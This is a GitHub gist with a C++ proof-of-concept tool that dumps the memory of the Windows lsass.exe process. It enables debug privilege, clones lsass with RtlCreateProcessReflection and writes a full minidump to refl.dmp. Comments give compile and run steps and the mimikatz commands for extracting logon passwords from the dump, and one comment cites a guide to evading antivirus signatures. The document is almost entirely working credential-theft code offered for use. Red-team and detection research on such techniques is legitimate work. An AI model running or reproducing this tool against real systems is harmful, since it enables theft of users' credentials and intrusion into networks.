Skip to content

Instantly share code, notes, and snippets.

@GeneralTesler
Last active November 6, 2023 12:15
Show Gist options
  • Star 18 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c to your computer and use it in GitHub Desktop.
Save GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c to your computer and use it in GitHub Desktop.
PoC using RtlCreateProcessReflection + MiniDumpWriteDump to dump lsass.exe process memory
#include <Windows.h>
#include <iostream>
#include <DbgHelp.h>
#include <processsnapshot.h>
#include <TlHelp32.h>
#include <processthreadsapi.h>
//process reflection stuff copied from: https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp
//minidump/process searching copied from: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
//compile using: cl.exe refl.cpp /DUNICODE
//as admin, run using: refl.exe
// then use mimikatz: sekurlsa::minidump refl.dmp ; sekurlsa::logonpasswords
#pragma comment (lib, "Dbghelp.lib")
#pragma comment (lib, "Advapi32.lib")
#define USE_RTL_PROCESS_REFLECTION
#ifndef RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED
#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001
#endif
#ifndef RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES
#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002
#endif
#ifndef RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE
#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects
#endif
#ifndef HPSS
#define HPSS HANDLE
#endif
const DWORD reflection_access = PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE;
typedef HANDLE HPSS;
typedef struct {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} T_CLIENT_ID;
typedef struct
{
HANDLE ReflectionProcessHandle;
HANDLE ReflectionThreadHandle;
T_CLIENT_ID ReflectionClientId;
} T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;
// Win >= 7
NTSTATUS (NTAPI *_RtlCreateProcessReflection) (
HANDLE ProcessHandle,
ULONG Flags,
PVOID StartRoutine,
PVOID StartContext,
HANDLE EventHandle,
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation
) = NULL;
// Win >= 8.1
bool load_RtlCreateProcessReflection()
{
if (_RtlCreateProcessReflection == NULL) {
HMODULE lib = LoadLibraryA("ntdll.dll");
if (!lib) return false;
FARPROC proc = GetProcAddress(lib, "RtlCreateProcessReflection");
if (!proc) return false;
_RtlCreateProcessReflection = (NTSTATUS(NTAPI *) (
HANDLE,
ULONG,
PVOID,
PVOID,
HANDLE,
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION*
)) proc;
}
if (_RtlCreateProcessReflection == NULL) return false;
return true;
}
typedef struct {
HANDLE orig_hndl;
HANDLE returned_hndl;
DWORD returned_pid;
bool is_ok;
} t_refl_args;
DWORD WINAPI refl_creator(LPVOID lpParam)
{
t_refl_args *args = static_cast<t_refl_args*>(lpParam);
if (!args) {
return !S_OK;
}
args->is_ok = false;
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };
NTSTATUS ret = _RtlCreateProcessReflection(args->orig_hndl, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, NULL, NULL, NULL, &info);
if (ret == S_OK) {
args->is_ok = true;
args->returned_hndl = info.ReflectionProcessHandle;
args->returned_pid = (DWORD)info.ReflectionClientId.UniqueProcess;
}
else{
printf("error: %d\n", GetLastError());
}
return ret;
}
int main(){
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
TOKEN_PRIVILEGES tokenPriv;
LUID luid;
LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid);
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL);
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
printf("Target PID: %d\n", lsassPID);
HANDLE outFile = CreateFile(L"refl.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
printf("Using file: refl.dmp\n");
load_RtlCreateProcessReflection();
t_refl_args args = { 0 };
args.orig_hndl = lsassHandle;
DWORD ret = refl_creator(&args);
printf("Clone PID: %d\n", args.returned_pid);
DWORD retd = MiniDumpWriteDump(args.returned_hndl, args.returned_pid, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
CloseHandle(outFile);
TerminateProcess(args.returned_hndl, 0);
CloseHandle(args.returned_hndl);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment